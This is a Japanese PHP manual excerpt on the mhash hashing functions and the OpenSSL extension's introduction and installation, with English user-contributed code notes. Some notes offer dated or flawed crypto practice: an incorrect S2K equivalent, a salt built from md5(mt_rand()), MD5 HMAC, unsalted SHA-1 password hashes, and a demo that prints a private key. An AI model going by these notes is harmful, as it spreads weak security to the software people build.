ハッシュ ID。MHASH_ハッシュ名 定数のいずれかを指定します。

返り値

ハッシュの名前を返します。そのハッシュが存在しない場合は、false を返します。

例

例1 mhash_get_hash_name() の例

<?php

echo mhash_get_hash_name(MHASH_MD5); // MD5

?>

User Contributed Notes

There are no user contributed notes for this page.


キーを生成する

  • ≪ mhash_get_hash_name
  • mhash ≫
  • PHP Manual
  • Mhash 関数
  • キーを生成する

mhash_keygen_s2k

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

mhash_keygen_s2k — キーを生成する

説明

mhash_keygen_s2k ( int $algo , string $password , string $salt , int $length ) : string|false

algo にユーザーが指定した password を用いてキーを生成します。

OpenPGP のドキュメント (» RFC 2440) で規定されている、Salted S2k アルゴリズムを使用します。

ユーザーが指定したパスワードは、暗号化アルゴリズムのキーとしては 適切ではないということを覚えておきましょう。ユーザーが選択するのは、 通常はキーボードから入力可能なキーだからです。 これらのパスワードは、文字当たり 6 から 7 ビットのみ(もしくはそれ以下) しか使用していません。ユーザーの指定したキーに対して、 (この関数のような) ある種の変換を行うことを強く推奨します。

パラメータ

algo

キーの作成に使用するハッシュ ID。MHASH_ハッシュ名 定数のいずれかを指定します。

password

ユーザーが指定したパスワード。

salt

異なったキーを生成するため、キーを生成するたびに、 十分にランダムな異なる値となる必要があります。キーを調べる際に salt を知っている必要があるため、キーを salt に付加するというのは 良い発想です。salt は 8 バイト固定長で、これより少ない場合はゼロで 埋められます。

length

キーの長さをバイト数で指定します。

返り値

生成されたキーを表す文字列、あるいはエラー時に false を返します。

User Contributed Notes

alix dot axel+php at gmail dot com 09-Oct-2012 08:43
I looked into mhash and PHP source code and I've ported this function to pure PHP:

<?php

function keygen_s2k($hash, $password, $salt, $bytes)
{
    $result = false;

    if (extension_loaded('hash') === true)
    {
        $times = $bytes / ($block = strlen(hash($hash, null, true)));

        if ($bytes % $block != 0)
        {
            ++$times;
        }

        for ($i = 0; $i < $times; ++$i)
        {
            $result .= hash($hash, str_repeat("\0", $i) . $salt . $password, true);
        }
    }

    return $result;
}

?>
gmic 13-Mar-2007 11:42
Correction to ray ferguson post,

As said in the doc : "mhash_keygen_s2k generates a key that is bytes long, from a user given password and use the specified hash algorithm to create the key." if It wasn't clear to anyone.

The non mhash function is good as long you do not need a key longer than native MD5 hash (16 bytes)  it wont give you more.

So the non mhash function work OK but they ARE NOT the same thing.

Just try ray ferguson exemple asking for a 32 bytes key.

Returning a substring longer than the packed 16 bytes string won't add anything to the string. Salted S2K algorithm does add to the key.  So better use mhash lib or create something more alike the RFC 2440 specs.

I know the post is late on regard to Ray's post but if it can help someone not waisting time like me.
php_at_share-foo.com 16-Jul-2003 11:18
// given random 8 bits of salt and a clear text password

$clear_pw = "p4ssw0rd" ;
$rand8bites4salt = substr(pack("h*", md5(mt_rand())) , 0, 8);

// This

mhash_keygen_s2k(MHASH_MD5, $clear_pw, $rand8bites4salt, 4) ;

//is the same as this

function myhash_keyge_s2k($pass, $salt, $bytes ){
      return substr(pack("H*", md5($salt . $pass)), 0, $bytes);
}

myhash_keyge_s2k($clear_pw, $rand8bites4salt, 4);

// But the latter doesn't require mhash libs.

// -ray ferguson


ハッシュ値を計算する

  • ≪ mhash_keygen_s2k
  • OpenSSL ≫
  • PHP Manual
  • Mhash 関数
  • ハッシュ値を計算する

mhash

(PHP 4, PHP 5, PHP 7, PHP 8)

mhash — ハッシュ値を計算する

説明

mhash ( int $hash , string $data , string $key = ? ) : string

mhash() は、 hash で指定したハッシュ関数を data に適用します。

パラメータ

algo

ハッシュ ID。MHASH_ハッシュ名 定数のいずれかを指定します。

data

ユーザーが入力した文字列。

key

指定した場合は、この関数は結果の HMAC を返します。 HMAC は、メッセージ認証時のキーに基づくハッシュ、 あるいは指定したキーに基づく単なるメッセージダイジェストです。 mhash でサポートしている全てのアルゴリズムが HMAC モードで使用できるわけではありません。

返り値

結果のハッシュ (あるいはダイジェストとも言います) あるいは HMAC を表す文字列を返します。 エラー時は false を返します。

変更履歴

バージョン | 説明
8.0.0 | key は、nullable になりました。

User Contributed Notes

jeremy s 18-Jun-2014 04:39
Here is how to compute a NTLM hash:

<?php
function ntlm_hash($txt)
{
        $txt = iconv('UTF-8', 'UTF-16LE', $txt);
        $md4 = bin2hex(mhash(MHASH_MD4, $txt));

        return strtoupper($md4);
}

echo ntlm_hash('ClearTextPasswd');
echo "\n";
holdoffhunger at gmail dot com 29-Jun-2012 11:52
The MHash function here lists one disclaimer at the top when providing a key to the mhash function : "Not all algorithms supported in mhash can be used in HMAC mode."  So, what algorithms blow up and what do fine when it comes to doing keyed, HMAC hashing?  The destructive ones are: Adler32, CRC32, CRC32B, and GOST.  These are the first four, predefined constants listed with the MHash Application Package: http://www.php.net/manual/en/mhash.constants.php .  Providing one of these algorithms with an HMAC key (of string-length greater than one) creates the following error message: "Warning: mhash() [function.mhash]: mhash initialization failed in [(folder-location)] on line 181".  If you really want to use these algorithms in creating your HMAC hashes, the function Hash_hmac() from the HASH-Message Digest Framework package is capable of doing that perfectly.

Again, that is if the string length is greater than one.  Why string length greater than one?  Well, if the key value is blank, it is ignored as a parameter altogether.  So, if you feed the mhash function an algorithm that is not compatible with HMAC hashing and an HMAC key that's blank (""), it will work the same as if it had received no HMAC key at all.  This is different from the way the Hash_hmac() function of the HASH-MDF works.  In the case of the Hash_hmac() function, feeding a blank HMAC key will use that blank key in generating the HMAC hash.  Even with functions that can do HMAC hashing, like MD5 or SHA1, if the MHash() is given a blank HMAC key, it will ignore the key and just return the results of standard, non-HMAC hashing.  It's probably not wise to use a blank HMAC key anyway, but it's good to know that the hashing algorithm changes altogether if the provided HMAC key is blank.

Some sample code to demonstrate :

<?php

            // Author: holdoffhunger@gmail.com

        // Preset Data
        // ---------------------------------------------------

    $string_to_hash = "The hash_hmac() function better to use for these purposes.";
    $blank_hmac_key = "";

        // MHash - Hashing With and Without HMAC Parameter
        // ---------------------------------------------------

    $mhash_result_with_hmac_parameter = bin2hex(mhash(MHASH_CRC32, $string_to_hash, $blank_hmac_key));
    $mhash_result_without_hmac_parameter = bin2hex(mhash(MHASH_CRC32, $string_to_hash));

        // MHash - Hashing With and Without HMAC Parameter
        // ---------------------------------------------------

    $hash_result_with_hmac_parameter = hash_hmac("crc32", $string_to_hash, $blank_hmac_key);
    $hash_result_without_hmac_parameter = hash("crc32", $string_to_hash);

        // Print Results
        // ---------------------------------------------------

    print("MHASH (CRC32 Algorithm) With Blank HMAC Key: $mhash_result_with_hmac_parameter .<br>");
    print("MHASH (CRC32 Algorithm) Without HMAC Processing: $mhash_result_without_hmac_parameter .<br><br>");

    print("HASH (CRC32 Algorithm) With Blank HMAC Key: $hash_result_with_hmac_parameter .<br>");
    print("HASH (CRC32 Algorithm) Without HMAC Processing: $hash_result_without_hmac_parameter .");

?>

    Results :
    ...................................

MHASH (CRC32 Algorithm) With Blank HMAC Key: f665c094 .
MHASH (CRC32 Algorithm) Without HMAC Processing: f665c094 .

HASH (CRC32 Algorithm) With Blank HMAC Key: 3041f4f8 .
HASH (CRC32 Algorithm) Without HMAC Processing: f665c094 .
holdoffhunger at gmail dot com 27-Jun-2012 07:27
Both cryptography packages, the MHash and the HASH Message Digest Framework, have the same algorithms, and yet, they both sometimes to produce wildly different results from each other when applying the same algorithm to the same piece of data.  The SHA-x algorithms, as designed by the NSA, all seem to have concrete standards for producing their hash values, so they have similar results.  Even the two MD5 implementations produce identical results, and the same goes for Gost, RipeMD, CRC32, Whirlpool, Snefru256 (known as 'Snefru256' in MHash and simply 'Snefru' in HASH-MDF), and Tiger (the three-round versions in HASH-MDF to simply 'Tigerx' in MHash).

However, the algorithms CRC32B and Adler32 each produce different results when called from either MHash or HASH-MDF, possibly because they are hashing algorithms designed to be checksums rather than something that can produce a string as a unique identifier for a particular piece of information.  For that reason, if you ever publish the hash results with the data you're putting out publicly, it's probably wise to indicate whether it's the MHash or HASH-MDF implementation of the algorithm.  Otherwise, the hash value won't provide much use as a unique identifier for the particular piece of data or for the file.

Some example code to better explain what I mean :

<?php

            // Author: holdoffhunger@gmail.com

        // SHA-1 Hashing
        // ---------------------------------------------------

    $mhash_sha1_results = bin2hex(mhash(MHASH_SHA1, "secret"));
    $hash_mdf_sha1_results = hash("sha1", "secret", FALSE);

    print("MHash SHA-1: $mhash_sha1_results .<br>");
    print("HASH-MDF SHA-1: $hash_mdf_sha1_results .<br><br>");

        // Whirlpool Hashing
        // ---------------------------------------------------

    $mhash_whirlpool_results = bin2hex(mhash(MHASH_WHIRLPOOL, "secret"));
    $hash_mdf_whirlpool_results = hash("whirlpool", "secret", FALSE);

    print("MHash Whirlpool: $mhash_whirlpool_results .<br>");
    print("HASH-MDF Whirlpool: $hash_mdf_whirlpool_results .<br><br>");

        // CRC32B Hashing
        // ---------------------------------------------------

    $mhash_crc32b_results = bin2hex(mhash(MHASH_CRC32B, "secret"));
    $hash_mdf_crc32b_results = hash("crc32b", "secret", FALSE);

    print("MHash CRC32B: $mhash_crc32b_results .<br>");
    print("HASH-MDF CRC32B: $hash_mdf_crc32b_results .<br><br>");

        // Adler32 Hashing
        // ---------------------------------------------------

    $mhash_adler32_results = bin2hex(mhash(MHASH_ADLER32, "secret"));
    $hash_mdf_adler32_results = hash("adler32", "secret", FALSE);

    print("MHash Adler32: $mhash_adler32_results .<br>");
    print("HASH-MDF Adler32: $hash_mdf_adler32_results .<br><br>");

?>

    Expected Results :
    ........................

MHash SHA-1: e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4 .
HASH-MDF SHA-1: e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4 .

MHash Whirlpool: e061b87a674ae3880e159ab55ed35d
6c5e8a6aefac6ab08304a50588018d
377b28639bb15fdeedf006d57e45f7
b4298e6dfefceaf7c92c826a708fe6d
1156eb3 .

HASH-MDF Whirlpool: e061b87a674ae3880e159ab55ed35d
6c5e8a6aefac6ab08304a50588018d
377b28639bb15fdeedf006d57e45f7
b4298e6dfefceaf7c92c826a708fe6d
1156eb3 .

MHash CRC32B: e5e8a25c .
HASH-MDF CRC32B: 5ca2e8e5 .

MHash Adler32: 8702d108 .
HASH-MDF Adler32: 08d10287 .
hm2k at php dot net 20-Jan-2009 07:16
mhash support now appears in the Pear PHP_Compat package, for support without building PHP with mhash.
numien(at)deathwyrm(dot)com 31-Jan-2007 05:21
---Quote---
pack("H*", md5($str)) == mhash(MHASH_MD5, $str)
pack("H*", sha1($str)) == mhash(MHASH_SHA1, $str)
---/Quote---

That's an awfully inefficient way of doing things. You can just put ", true" after md5 or sha1 to get binary output instead of having it convert it to hex then back.

Easier way:
md5($str, true) == mhash(MHASH_MD5, $str)
sha1($str, true) == mhash(MHASH_SHA1, $str)
marcel446 at yahoo dot com 06-Jun-2005 04:15
Just in case you did not observe, the function of Lance is independent of hash fuction used to get HMAC , so if one use sha1() function from php instead md5() will get sha1 HMAC.
Just try .
Thanks again Lance
robbie [at] averill [dot] co [dot] nz 18-Mar-2005 05:17
This confused me a bit when I first read the documetation for mhash. The functions that accept a hash accept them as an INTEGER not a STRING. In this case, MHASH_MD5 = 1. It is a constant, not a string.

Just thought I'd point that out, so if anyone is confused they can read that. That's the use of mhash_get_hash_name(). You input the constant (which is an integer) and it returns the hash name.
fernan at ispwest dot com 02-Nov-2004 12:03
Thanks a lot to Lance for showing how to create mhash without installing the perl extension for mhash.

I have been asking my webhosting administrator to recompile Perl with mhash extension, but do not want to do it. As a result, our company can't get credit card authorization because they require fingerprint which uses the function mhash. Now, it's working fine.

Thanks a lot, Lance.....

Fernan
jerry d0t wilborn at fast d0t net 02-Jul-2004 09:36
in responce to lance's post:

the function comes back with a hex representation of the hmac, if you wish to convert to what mhash returns natively (binary) use:  pack("H*", hmac(variables...));
lance_rushing at hot* spamfree *mail dot com 09-Jul-2003 05:02
Don't forget php has two built in hashing algorithms:

md5(), and sha1()

So if you are using: mhash(MHASH_MD5, $str) or mhash(MHASH_SHA1, $str) you could use md5($str) or sha1($str).

** But remember that md5() and sha1() produce HEX output while mhash() produces a BIN output.  So:

md5($str) == bin2hex(mhash(MHASH_MD5, $str))
sha1($str) == bin2hex(mhash(MHASH_SHA1, $str))

AND

pack("H*", md5($str)) == mhash(MHASH_MD5, $str)
pack("H*", sha1($str)) == mhash(MHASH_SHA1, $str)

(Just remember to pack() or bin2hex() your output to get the output you need)

-Lance
lance_rushing at hot* spamfree *mail dot com 27-Nov-2002 08:36
Want to Create a md5 HMAC, but don't have hmash installed?

Use this:

function hmac ($key, $data)
{
    // RFC 2104 HMAC implementation for php.
    // Creates an md5 HMAC.
    // Eliminates the need to install mhash to compute a HMAC
    // Hacked by Lance Rushing

    $b = 64; // byte length for md5
    if (strlen($key) > $b) {
        $key = pack("H*",md5($key));
    }
    $key  = str_pad($key, $b, chr(0x00));
    $ipad = str_pad('', $b, chr(0x36));
    $opad = str_pad('', $b, chr(0x5c));
    $k_ipad = $key ^ $ipad ;
    $k_opad = $key ^ $opad;

    return md5($k_opad  . pack("H*",md5($k_ipad . $data)));
}

-----
To test:
Run this on a server _with_ mhash installed:

$key = 'Jefe';
$data = "what do ya want for nothing?";
echo hmac($key, $data);
echo "&lt;br&gt;\n";
echo bin2hex (mhash(MHASH_MD5, $data, $key));

should produce:

750c783e6ab0b503eaa86e310a5db738
750c783e6ab0b503eaa86e310a5db738

Happy hashing.
luc at 2113 dot ch 28-Dec-2001 05:42
Netscape messaging / directory server 4+ uses SHA-1
to store password in the ldap database (slapd).
The password is first SHA-1 hashed then base64 encoded:

$pwd = "secret";
$hash = "{SHA}".base64_encode( mHash(MHASH_SHA1, $pwd));
echo "Hash: ". $hash ;
paulj at 5emedia dot net 06-Dec-2001 10:02
Many digest algorithms (especially MD5) are less secure if you are hashing data that is smaller than the algorithm's output.  I recommend either hashing a secret key/salt with the original data to increase it's security.


OpenSSL

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
    • 目的を調べるフラグ
    • 非対称暗号化のパディングフラグ
    • キーの型
    • PKCS7 フラグ/定数
    • CMS (暗号メッセージシンタックス) 関連のフラグ/定数
    • 署名アルゴリズム
    • 暗号化方式
    • バージョン定数
    • Server Name Indication 定数
    • その他の定数
  • キー/証明書パラメータ
  • 証明書の認証
  • OpenSSL 関数
    • openssl_cipher_iv_length — 暗号 iv の長さを取得
    • openssl_cms_decrypt — CMS メッセージを復号化する
    • openssl_cms_encrypt — CMS メッセージを暗号化する
    • openssl_cms_read — CMS ファイルを、PEM証明書の配列にエクスポートする
    • openssl_cms_sign — ファイルに署名する
    • openssl_cms_verify — CMS の署名を検証する
    • openssl_csr_export_to_file — CSR をファイルにエクスポートする
    • openssl_csr_export — CSR を文字列としてエクスポートする
    • openssl_csr_get_public_key — CSR の公開鍵を返す
    • openssl_csr_get_subject — CSR の subject を返す
    • openssl_csr_new — CSR を作成する
    • openssl_csr_sign — CSRに他の証明書（あるいは自分自身）で署名して証明書を作成する
    • openssl_decrypt — データを復号する
    • openssl_dh_compute_key — ローカルのDH秘密鍵とリモート側のDH公開鍵を使い、共有シークレットを計算する
    • openssl_digest — ダイジェストを計算する
    • openssl_encrypt — データを暗号化する
    • openssl_error_string — OpenSSL エラーメッセージを返す
    • openssl_free_key — キーリソースを開放する
    • openssl_get_cert_locations — 有効な証明書の格納場所を検索する
    • openssl_get_cipher_methods — 利用可能な暗号メソッドを取得
    • openssl_get_curve_names — ECC で利用可能な楕円曲線の名前を取得する
    • openssl_get_md_methods — 利用可能なダイジェスト・メソッドを取得
    • openssl_get_privatekey — openssl_pkey_get_private のエイリアス
    • openssl_get_publickey — openssl_pkey_get_public のエイリアス
    • openssl_open — シール(暗号化)されたデータをオープン(復号)する
    • openssl_pbkdf2 — PKCS5 v2 の PBKDF2 文字列を生成する
    • openssl_pkcs12_export_to_file — PKCS#12 互換の証明書保存ファイルをエクスポートする
    • openssl_pkcs12_export — PKCS#12 互換の証明書保存ファイルを変数にエクスポートする
    • openssl_pkcs12_read — PKCS#12 認証ストアをパースして配列形式にする
    • openssl_pkcs7_decrypt — S/MIME 暗号化されたメッセージを復号する
    • openssl_pkcs7_encrypt — S/MIME メッセージを暗号化する
    • openssl_pkcs7_read — PKCS7 ファイルを PEM証明書 の配列にエクスポートする
    • openssl_pkcs7_sign — S/MIME メッセージに署名する
    • openssl_pkcs7_verify — S/MIME で署名されたメッセージの署名を検証する
    • openssl_pkey_derive — リモートとローカルの DH/ECDH鍵 の公開値のための、共有シークレットを計算する
    • openssl_pkey_export_to_file — エクスポート可能な形式で、キーをファイルに取得する
    • openssl_pkey_export — エクスポート可能な形式で、キーを文字列に取得する
    • openssl_pkey_free — 秘密鍵を開放する
    • openssl_pkey_get_details — キーの詳細の配列を返す
    • openssl_pkey_get_private — 秘密鍵を取得する
    • openssl_pkey_get_public — 証明書から公開鍵を抽出し、使用できるようにする
    • openssl_pkey_new — 新規に秘密鍵を生成する
    • openssl_private_decrypt — 秘密鍵でデータを復号する
    • openssl_private_encrypt — 秘密鍵でデータを暗号化する
    • openssl_public_decrypt — 公開鍵でデータを復号する
    • openssl_public_encrypt — 公開鍵でデータを暗号化する
    • openssl_random_pseudo_bytes — 疑似ランダムなバイト文字列を生成する
    • openssl_seal — データをシール(暗号化)する
    • openssl_sign — 署名を生成する
    • openssl_spki_export_challenge — 署名済みの公開鍵とチャレンジに関連するチャレンジをエクスポートする
    • openssl_spki_export — 署名済みの公開鍵とチャレンジから、有効なPEMフォーマットの公開鍵をエクスポートする
    • openssl_spki_new — 署名された公開鍵とチャレンジを新規に作成する
    • openssl_spki_verify — 署名済みの公開鍵とチャレンジを検証する
    • openssl_verify — 署名を検証する
    • openssl_x509_check_private_key — 秘密鍵が証明書に対応するかを確認する
    • openssl_x509_checkpurpose — 証明書が特定の目的に使用可能かどうか確認する
    • openssl_x509_export_to_file — 証明書をファイルにエクスポートする
    • openssl_x509_export — 証明書を文字列としてエクスポートする
    • openssl_x509_fingerprint — 与えられた X.509 証明書のフィンガープリントあるいはダイジェストを計算する
    • openssl_x509_free — 証明書リソースを開放する
    • openssl_x509_parse — X509 証明書をパースし、配列として情報を返す
    • openssl_x509_read — X.509 証明書をパースし、オブジェクトを返す
    • openssl_x509_verify — x509証明書のデジタル署名を公開鍵で検証する
  • OpenSSLCertificate — OpenSSLCertificate クラス
  • OpenSSLCertificateSigningRequest — OpenSSLCertificateSigningRequest クラス
  • OpenSSLAsymmetricKey — OpenSSLAsymmetricKey クラス

User Contributed Notes

james at NOSPAM dot gmail dot com 13-Jul-2016 10:01
In regards to the comment above:

"After generating a key pair with OpenSSL, the public key can be stored in plain text format. I then encrypted the private key itself using regular mcrypt with the human-memorizable key of my choice and converted it to ACSII using base64_encode. Then to get the private key back, I just decrypted it with mcrypt. This way I could store the encrypted private key on the server without worrying about having things stored unencrypted. "

To anyone reading this that might not be all that familiar with public key cryptography; I haven't the slightest idea what this person is talking about, but I can tell you its an absolutely horrible idea.  He might have ended up with something that "looked like a private key" insofar as it was a base64 encoded string, but he did not have a private key.  The parameters that make up a public/private key pair are EXTREMELY specific and in the case of RSA rely on very large co-primes plus an even larger moduli.  Its not just a base64 encoded string; and just for the record... base64 encoding is not encryption.

One of two things happened; the more likely is the whatever program he needed the certificate for realized there was something wrong with the private key, and ignored it, reverting to either a default key, or null encryption or something.  The worse outcome would be if it interpreted whatever was there as legitimate; and encrypted data as if it were a a proper certificate; encrypting this way would likely provide close to zero security and I'm not even sure you could decrypt the data once encrypted.  Its not worth giving much thought.

Just please; don't do this.

You can read about pki certificate structures and attribute frameworks by pasting "T-REC-X.509-201210-I" into your favorite interwebs search widget and following the result to the International Telecommunications Union webpage, or you can refer to the numerous RFCs; 6818, 5820 being good places to start. The Internet Engineering Task Force archives all RFCs, but there are other sources as well.  "IETF RFC" should be enough to get you there.

...sorry, the "spam buster" was giving me all kinds of issues.
bdh dot hall at gmail dot com 29-May-2009 03:18
I was having a heck of a time finding help on making asynchronous encryption/decryption using private key/public key systems working, and I had to have it for creating a credit card module that uses recurring billing.

You'd be a fool to use normal, 'synchronous' or two-way encryption for this, so the whole mcrypt library won't help.

But, it turns out OpenSSL is extremely easy to use...yet it is so sparsely documented that it seems it would be incredibly hard.

So I share my day of hacking with you - I hope you find it helpful!

<?php

if (isset($_SERVER['HTTPS']) )
{
    echo "SECURE: This page is being accessed through a secure connection.<br><br>";
}
else
{
    echo "UNSECURE: This page is being access through an unsecure connection.<br><br>";
}

// Create the keypair
$res=openssl_pkey_new();

// Get private key
openssl_pkey_export($res, $privatekey);

// Get public key
$publickey=openssl_pkey_get_details($res);
$publickey=$publickey["key"];

echo "Private Key:<BR>$privatekey<br><br>Public Key:<BR>$publickey<BR><BR>";

$cleartext = '1234 5678 9012 3456';

echo "Clear text:<br>$cleartext<BR><BR>";

openssl_public_encrypt($cleartext, $crypttext, $publickey);

echo "Crypt text:<br>$crypttext<BR><BR>";

openssl_private_decrypt($crypttext, $decrypted, $privatekey);

echo "Decrypted text:<BR>$decrypted<br><br>";
?>

Many thanks to other contributors in the docs for making this less painful.

Note that you will want to use these sorts of functions to generate a key ONCE - save your privatekey offline for decryption, and put your public key in your scripts/configuration file. If your data is compromised you don't care about the encrypted stuff or the public key, it's only the private key and cleartext that really matter.

Good luck!
koen dot thomeer at pubmed dot be 31-Aug-2008 10:27
For checking the status of a client certificate using OCSP, you can use this script:

<?php
// User variables:
$dir = '/path/to/temp/'; // Directory where apache has access to (chmod 777).
$RootCA = '/path/to/Root.cer'; // Points to the Root CA in PEM format.
$OCSPUrl = 'http://ocsp.url'; //Points to the OCSP URL
// Script:
$a = rand(1000,99999); // Needed if you expect more page clicks in one second!
file_put_contents($dir.$a.'cert_i.pem', $_SERVER['SSL_CLIENT_CERT_CHAIN_0']); // Issuer certificate.
file_put_contents($dir.$a.'cert_c.pem', $_SERVER['SSL_CLIENT_CERT']); // Client (authentication) certificate.
$output = shell_exec('openssl ocsp -CAfile '.$RootCA.' -issuer '.$dir.$a.'cert_i.pem -cert '.$dir.$a.'cert_c.pem -url '.$OCSPUrl);
$output2 = preg_split('/[\r\n]/', $output);
$output3 = preg_split('/: /', $output2[0]);
$ocsp = $output3[1];
echo "OCSP status: ".$ocsp; // will be "good", "revoked", or "unknown"
unlink($dir.$a.'cert_i.pem');
unlink($dir.$a.'cert_c.pem');
?>

It can be ameliorated, but it's just a beginning!

Normally, you can extract the ocsp url from the client certificate. Also, an OCSP request contains only the hash of the issuer name, the hash of the issuer's key, and the serial number of the client certificate. All three can be extracted directly from the client certificate.


はじめに

この拡張モジュールは、対称鍵による暗号化、非対称鍵による暗号化や、 PBKDF2, PKCS7, PKCS12, X509 その他の暗号の操作を行う » OpenSSL ライブラリの機能をバインドしています。 それに加えて、TLS ストリームの実装も提供しています。

この拡張モジュールではまだサポートされていない機能が OpenSSL には多くあります。 それらのいくつかは将来的に追加される可能性があります。

User Contributed Notes

gramo dot gnu at gmail dot com 23-Jun-2020 07:47
It is also well accepted the spanish word "codificar" and  "decodificar" as translation of "encrypt" an "decrypt"

English - Spanish
encrypt - cifrar, codificar
encryption - cifrado, codificado
decryp - descifrar, decodificar
decryption - descifrado, decodificado

Please avoid the erroneous word "encriptar" / "desencriptar"
peugnet at mail dot com 09-May-2018 05:45
There is a translation error in the spanish version.
The word "encrypt" should translate "cifrar", not "encriptar"
and "decrypt" should translate "cifrar", not "desencriptar".

Here the correct translations:
english - spanish

encrypt - cifrar
encryption - cifrado
decryp - descifrar
decryption - descifrado


要件

OpenSSL 関数を使用するためには、» OpenSSL ライブラリをインストールする必要があります。 PHP 5 は少なくとも OpenSSL >= 0.9.6 を必要としますが、 後の PHP 5 バージョンではコンパイルできない問題が発生する場合があるため、 少なくとも OpenSSL >= 0.9.8 を使うべきです。 これは PHP 7.0 で必要な最低バージョンでもあります。 他のバージョン (PHP >= 7.1.0) は、OpenSSL >= 1.0.1 が必要です。

警告

最新のバージョンの OpenSSL を使用するようにしてください。 さもないと、Web サーバーへの攻撃に対しての脆弱性をかかえてしまいます。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

PHP の OpenSSL サポートを使用するには、--with-openssl[=DIR] を指定して PHP を コンパイルする必要があります。

OpenSSL ライブラリを動作させるためには、実行時にさらに必要なものがあります。 特に、OpenSSL から乱数 (あるいは疑似乱数) 生成器にアクセスできなければなりません。 たいていの Unix および Unix 系のプラットフォーム (Linux など) の場合、 /dev/urandom あるいは /dev/random デバイスがこれにあたります。

PHP 5.6.3 以降では、configure オプション --with-system-ciphers が利用できます。 これにより、PHP がハードコードされたデフォルトではなく、システムが持つ暗号リストを使うようになります。

注意: Win32 ユーザーへの注意

この拡張モジュールを動作させるには、 Windows システムの PATH が通った場所に DLL ファイルが存在する必要があります。 FAQ の "Windows で PHP のディレクトリを PATH に追加するにはどうすればいいのですか?" で、その方法を説明しています。 DLL ファイルを PHP のフォルダから Windows のシステムディレクトリにコピーしても動作します (システムディレクトリは、デフォルトで PATH に含まれるからです) が、これは推奨しません。 この拡張モジュールを使用するには、以下のファイルが PATH の通った場所にある必要があります。 libeay32.dll, または、OpenSSL 1.1 以降では libcrypto-*.dll

加えてキー生成およびサイン認証関数を使用する計画がある場合、 システムに 有効な openssl.cnf をインストールする 必要があります。 Win32 バイナリ配布版にサンプル設定ファイルを同梱することにしました。 extras/openssl ディレクトリにあります。

PHP は、 以下のロジックにより openssl.cnf を探します。

  • 環境変数 OPENSSL_CONF が設定された場合、 設定ファイルの（ファイル名を含む）パスとして使用されます。
  • 環境変数 SSLEAY_CONF が設定された場合、 設定ファイルの（ファイル名を含む）パスとして使用されます。
  • ファイル openssl.cnf はデフォルトの認証エリアに あることが仮定され、openssl DLL がコンパイルされた時間で設定されます。 これは通常、デフォルトのファイル名が c:\usr\local\ssl\openssl.cnf (x64の場合), または C:\Program Files (x86)\Common Files\SSL\openssl.cnf (x86の場合), PHP 7.4.0 より前のバージョンでは C:\usr\local\ssl\openssl.cnf であることを意味します。

インストール時に、設定ファイルを デフォルトのパス または 他の場所にインストールし、(例えば仮想ホスト毎に)環境変数に設定ファ イルの場所を指定するかを選ぶ必要があります。 設定ファイルを必要とする関数の options に より、デフォルトのパスを上書きすることが可能であることに注意してください。
警告

権限がないユーザーに openssl.cnf を変更させないようにしてください。

変更履歴

バージョン | 説明
7.4.0 | OpenSSL のデフォルトの設定ファイルのパスが C:\usr\local\ssl から C:\Program Files\Common Files\SSL と C:\Program Files (x86)\Common Files\SSL にそれぞれ変更されました。

User Contributed Notes

vitoandre.doria 21-Jun-2018 06:31
As pointed out here http://php.net/manual/de/reserved.variables.environment.php#98113 make sure that variables_order = "EGPCS" is set in your php.ini (might come without the E flag which means ignore Env variables) otherwise PHP will ignore your Environment variables. This should be part of the documentation btw...
epos_jk 27-Nov-2017 04:26
You dont need to copy files to use OpenSSL with Apache 2.4 - use the LoadFile directive in your apache config file instead:
e.g.
LoadFile "C:/php7/libcrypto-1_1-x64.dll"
LoadFile "C:/php7/libssl-1_1-x64.dll"
LoadFile "C:/php7/libssh2.dll"
epos_jk 27-Nov-2017 04:23
Beginning with version 1.1.0 OpenSSL did change their libary names!
libeay32.dll is now libcrypto-*.dll (e.g. libcrypto-1_1-x64.dll for OpenSSL 1.1.x on 64bit windows)
ssleay32.dll is now libssl-*.dll (e.g. libssl-1_1-x64.dll for OpenSSL 1.1.x on 64bit windows)
anrdaemon at freemail dot ru 08-Nov-2014 11:16
If you want to configure Apache2 under Windows to use OpenSSL - please, for the love of God, do NOT copy around, or even worse - overwrite any DLL's.
First, modern Apache2 is shipped with relevant libraries, second - even if, for some reason, it can't find the right now - you can TELL it to use the right ones.
LoadLibrary.
Yes.
That simple.

LoadLibrary C:/apache2/bin/libeay32.dll
LoadLibrary C:/apache2/bin/ssleay32.dll
LoadLibrary C:/php5/php5ts.dll
LoadModule php5_module C:/php5/php5apache2_4.dll
jaimz at vertigolabs dot org 13-Oct-2014 04:10
I just wanted to point out that when you compile with openssl and you're specifying a directory, the acinclude.m4 and aclocal.m4 use that directory as such:

{your directory}/includes/openssl/{headerfile}

That being said, you want to specify the directory that the includes directory is in, not the specific directory with the header files.

THIS IS WRONG --with-openssl=/usr/local/includes/openssl
THIS IS RIGHT --with-openssl=/usr/local
Alan 11-Oct-2011 11:14
Having recently installed Apache2.2 with PHP 5.2.17 on my Windows 7 development machine, I want to pass along my findings about how to set things up to load the correct versions of the OpenSSL DLLs. Many people have posted elsewhere about the "DLL Hell" that results if the a wrong version is loaded.

First, install Apache 2.2 and check its operation, then download the Windows binaries for PHP from http://windows.php.net/download/. Note that according to the sidebar on that page the recommended version of PHP for use with Apache2 is currently 5.2.17, even though it is back level. Plus, this version comes with all the DLLs you need to use OpenSSL -- no need to recompile as the old PHP man page suggests.

Having verified the PHP installation, turn on the OpenSSL support by uncommenting the line

extension=php_openssl.dll

in php.ini, which you will find in the PHP directory (I'll assume you made that c:/PHP). Next check the location of php_openssl.dll, which you should find in c:/PHP/ext. Also in php.ini find the key extension_dir, and change its value to c:/php/ext. Next, put this location on the end of your PATH (there's no need to reboot).

At this point, when you start Apache it will attempt to load php_openssl.dll, but if your setup is anything like mine you will see an error. I prefer to start Apache manually, and the error appears in a dialog box: "The ordinal 4114 could not be located in the dynamic link library LIBEAY32.dll". (I'm not sure whether you would get this message if you started Apache as a service). The Apache log also contains an error message saying that php_openssl.dll cannot be loaded, though that message doesn't name libeay32.dll. Welcome to DLL Hell.

